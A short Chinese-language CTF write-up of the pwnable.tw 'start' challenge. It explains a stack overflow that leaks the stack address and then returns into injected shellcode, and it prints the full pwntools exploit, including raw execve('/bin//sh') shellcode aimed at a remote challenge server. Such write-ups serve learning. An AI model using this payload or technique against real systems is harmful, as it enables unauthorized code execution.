还是太依赖ida的一键反汇编导致汇编都看不懂了呀——pwnable_start
直接上ida
可以看到一个read一个write,并且read大于write,明显的栈溢出,到这都没什么压力
这题难就难在一点后门都没有,libc也无,只能自己构造shell
首先通过read填充到retn后面的exit,改成mov ecx,esp的值
一开始的结构如上
由于esp+0x14,并且又retn命令,所以变成如下图
retn导致再pop一个到eip,所以esp指向push 的esp,再执行命令ecx也指向老esp,然后读的泄露的就是这里地址
然后读入数据,读入完esp+0x14,反正正好查4字节,自己看图
就ret后函数地址是leak+0x14,leak+0x14即写入shellcode的地方
反正就是esp和leak地址差4,写入0x14个a,esp+14把a全过了,然后ret,即pop leak+0x14的地方,这个地方 就是shellcode,就是这么个意思,我尽力了
最终得到shell
exp:
from pwn import *
#p = remote('chall.pwnable.tw',10000)
p=remote('node3.buuoj.cn',27285)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
print(payload)
leak=u32(p.recv(4));
print(leak)
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a'*20 + p32(leak+20)+shellcode
p.send(payload)
p.interactive()
结论:还是汇编看少了,现在连命令都快忘了